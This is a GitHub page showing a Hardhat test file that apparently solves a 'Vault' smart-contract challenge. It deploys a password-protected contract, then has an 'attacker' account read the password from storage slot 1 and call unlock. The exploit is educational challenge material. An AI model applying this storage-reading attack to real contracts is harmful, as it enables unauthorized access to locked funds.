generated from 0xJuancito/hardhat-template
-
Notifications
You must be signed in to change notification settings - Fork 7
/
08-Vault.spec.ts
36 lines (27 loc) · 1.07 KB
/
08-Vault.spec.ts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import { TransactionResponse } from "@ethersproject/providers";
import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";
import { expect } from "chai";
import { Contract, providers } from "ethers";
import { ethers } from "hardhat";
const CONTRACT_NAME = "Vault";
describe(CONTRACT_NAME, () => {
let _owner: SignerWithAddress;
let attacker: SignerWithAddress;
let contract: Contract;
let tx: TransactionResponse;
beforeEach(async () => {
[_owner, attacker] = await ethers.getSigners();
const secretPassword = "randomPassword";
const bytesSecretPassword = ethers.utils.formatBytes32String(secretPassword);
const factory = await ethers.getContractFactory(CONTRACT_NAME);
contract = await factory.deploy(bytesSecretPassword);
await contract.deployed();
contract = contract.connect(attacker);
});
it("Solves the challenge", async () => {
const password = await ethers.provider.getStorageAt(contract.address, 1);
tx = await contract.unlock(password);
await tx.wait();
expect(await contract.locked()).to.be.false;
});
});